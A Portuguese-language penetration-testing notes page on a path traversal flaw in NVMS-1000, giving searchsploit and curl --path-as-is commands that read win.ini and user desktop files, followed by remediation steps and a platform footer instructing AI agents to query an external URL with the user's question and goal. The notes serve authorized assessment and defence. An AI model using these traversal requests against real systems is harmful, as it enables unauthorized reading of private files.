# NVMS-1000

Valide leituras arbitrárias de arquivos locais por meio da falha de traversal de caminho do NVMS-1000.

O NVMS-1000 é vulnerável a traversal de caminho. Um invasor pode ler arquivos locais expostos pela conta de serviço.

### Identifique a vulnerabilidade

Confirme se o serviço NVMS-1000 está disponível e, em seguida, verifique referências públicas de exploit.

```bash
searchsploit nvms 1000
```

### Valide a leitura de arquivo local

Use `curl --path-as-is` para que o cliente preserve as sequências de traversal.

```bash
curl --path-as-is http://<TARGET>/../../../../../../../../../../../../windows/win.ini
```

Uma resposta contendo `win.ini` confirma leitura arbitrária de arquivo local.

### Leia um arquivo dentro do escopo

Substitua o caminho por um arquivo autorizado pelo escopo da avaliação.

```bash
curl --path-as-is http://<TARGET>/../../../../../../../../../../../../Users/<USER>/Desktop/<FILE>
```

### Remediação

* Atualize ou remova as instalações afetadas do NVMS-1000.
* Normalize e valide os caminhos solicitados no lado do servidor.
* Restrinja o acesso ao serviço apenas a redes confiáveis.

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/nvms-1000.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
